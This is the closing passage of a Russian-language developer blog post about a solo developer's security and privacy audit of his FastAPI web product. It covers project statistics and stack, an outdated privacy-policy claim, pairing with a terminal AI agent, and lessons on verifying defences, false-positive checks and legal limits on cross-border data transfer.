Последнее — самое недооценённое. Жалобы в надзор почти никогда не начинаются с утечки. Они начинаются с того, что человек не понял, что о нём собрали, и не смог это забрать. Две кнопки снимают повод писать куда-либо.

Заодно я перечитал свою же политику конфиденциальности и нашёл там фразу «никаких аналитических сторонних трекеров» — при том что на всех страницах стоит счётчик веб-аналитики. Написано это было когда-то честно. Потом продукт изменился, а текст остался.

Мораль: политика конфиденциальности — не юридический артефакт, который пишут один раз и забывают. Это документация продукта. И устаревает она ровно так же, как README.


Цифры и стек

Что

Сколько

Строк кода

86 010 (38 012 Python + 26 851 шаблоны + 21 147 тесты)

Тестов

1325

Коммитов

768

Миграций

59

Модулей приложения

43

Статей блога

334 (617 186 слов)

Возраст проекта

4 месяца

Стек: FastAPI, async SQLAlchemy 2.0, Pydantic v2, PostgreSQL, Alembic, Jinja2, HTMX, Alpine.js, Tailwind. Инструменты: uv, ruff, mypy --strict, GitHub Actions. Деплой — git push: автопулл, миграции, рестарт, примерно минута.

Пишу я в паре с терминальным ИИ-агентом и не скрываю этого. Это не «нейросеть написала статью»: сюжеты, решения и ошибки тут мои, а разбор кода и вычитка — совместные. Отдельно скажу, что аудит из второй части — прямое следствие такой работы. Пройти свой же проект насквозь руками я бы не осилил: сдулся бы на третьем модуле.

Код проекта на GitHub — github.com/SwairIt/doday

Сам продукт живёт на getdoday.ru. Остальные мои проекты — на all.getdoday.ru.


Что я из этого вынес

Три вещи, которые, кажется, стоят дороже конкретных патчей.

Защита, которую нельзя проверить, — это не защита. Мой лимит по IP выглядел работающим ровно до того момента, когда я послал сорок запросов с подставным заголовком. Каждое утверждение вида «у нас есть защита от X» стоит проверять руками. Один раз. Сегодня.

Ложноположительный результат хуже отсутствия проверки. История с Google — про это. Эндпоинт отвечал, ошибка выглядела осмысленной, вывод оказался неверным, и заплатил за него пользователь. Проверять надо тот путь, которым пойдут люди, а не соседний.

Иногда закон сильнее архитектуры. Я выкинул половину списка провайдеров не потому, что они плохо работали, а потому что передача данных за границу — это отдельная ответственность. Инженерное решение проиграло юридическому. Это нормально, и с этим стоит смириться раньше, чем позже.

И маленький анонс напоследок. Всё, о чём я рассказал, — про продукты, которые уже работают. Параллельно я делаю проект Persona, и устроен он принципиально иначе, чем всё, что я писал раньше. Об этом будет отдельная статья — надеюсь, скоро.

Спасибо, что дочитали.

Ярослав Боев, getdoday.ru

Комментарии (0)